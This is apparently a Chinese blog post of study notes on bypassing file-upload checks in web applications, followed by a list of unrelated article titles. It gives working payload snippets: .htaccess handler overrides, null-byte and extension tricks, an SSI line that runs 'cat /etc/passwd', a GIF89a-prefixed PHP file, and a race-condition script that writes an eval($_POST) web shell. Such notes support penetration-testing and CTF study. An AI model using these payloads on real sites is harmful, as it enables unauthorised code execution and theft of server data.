两种校验方式

  • 客户端校验(javascript校验)
  • 服务端校验

客户端校验

绕过方法

  • 抓包改包
  • 禁用JS

禁用JS

  • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
  • 火狐插件-yescript2
  • 老版本可以使用WebDeveloper

抓包改包

用bp抓包后直接改后缀名

服务端校验

MIME类型检测

MIME类型在html文件中使用content-type属性表示

  • php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
  • 常见文件名对应的MIME类型

    • 扩展名:gif MIME类型:image/gif
    • 扩展名:png MIME类型:image/png
    • 扩展名:jpg MIME类型:image/jpg
    • 扩展名:js MIME类型:text/javascript
    • 扩展名:htm MIME类型:text/html
    • 扩展名:html MIME类型:text/html
  • 绕过方法

    • 抓包改content-type字段
    • 改文件名后上传抓包后再改回文件名
    • 上传正常文件改文件内容
    • 。。。

后缀名黑名单校验

  • 绕过方法

    • 大小写绕过,例如Php、PhP
    • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps
    • 配合Apache的.htaccess文件上传解析

      该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>

    不能写<?时使用伪协议

    AddType application/x-httpd-php .wuwu
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
    name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
    type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)

    在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

    • 超长文件名截断上传(windows 258byte | linux 4096byte)

      使用./或.
    • shtml

      当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持

      <!--#exec cmd="cat /etc/passwd"-->

后缀名白名单校验

  • 配合Apache的解析缺陷

    Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

内容头校验

  • 绕过方法

    在恶意脚本前加上允许上传文件的头标识

    GIF89a
    <?php phpinfo(); ?>

竞争上传

  • 情景

    文件上传后,检测是否合法,不合法就删除
  • 利用方式

    在删除前访问到上传的文件
    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>

    用bp同时上传和访问

  • 例子

    https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

php崩溃导致tmp文件保留

当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

过滤<?php

  • js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
  • PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持

最新文章

  1. 让我们再为C#异步编程Async正名
  2. configure Git to accept a particular self-signed server certificate for a particular https remote
  3. java——多线程——内部类共享同一个外部类对象的成员变量
  4. angular懒加载的一些坑
  5. gulp.js简单操作
  6. SQL开发 循序渐进
  7. mysql数据恢复
  8. iOS性能优化
  9. Linux Shell编程(17)——嵌套循环
  10. python2与python3
  11. poj1256(全排列stl)
  12. Java jsp基本结构
  13. JavaScript+canvas 绘制多边形
  14. jar包中File 文件找不到的异常分析与解决
  15. c编译步骤
  16. Linux内存管理学习资料
  17. PHP读取HTML生成doc
  18. 最小费用最大流spfa
  19. Spark LDA实战
  20. pandas与sqlalchemy交互实现科学计算

热门文章

  1. Falsk框架 Session 与 Flask-Session
  2. 京信通信成功打造自动化工厂(MES应用案例)
  3. Swagger Liunx环境搭建(亲测百分百可用)
  4. AIX 静默安装11gR2 RAC
  5. linux系统查看系统内存和硬盘大小
  6. Synchronized偏向锁和轻量级锁的升级
  7. poj1734 Sightseeing trip(Floyd求无向图最小环)
  8. SpringBoot集成MyBatis的Bean配置方式
  9. 决策树——ID3
  10. if语句的嵌套:从键盘输入3个实数,求其最大值。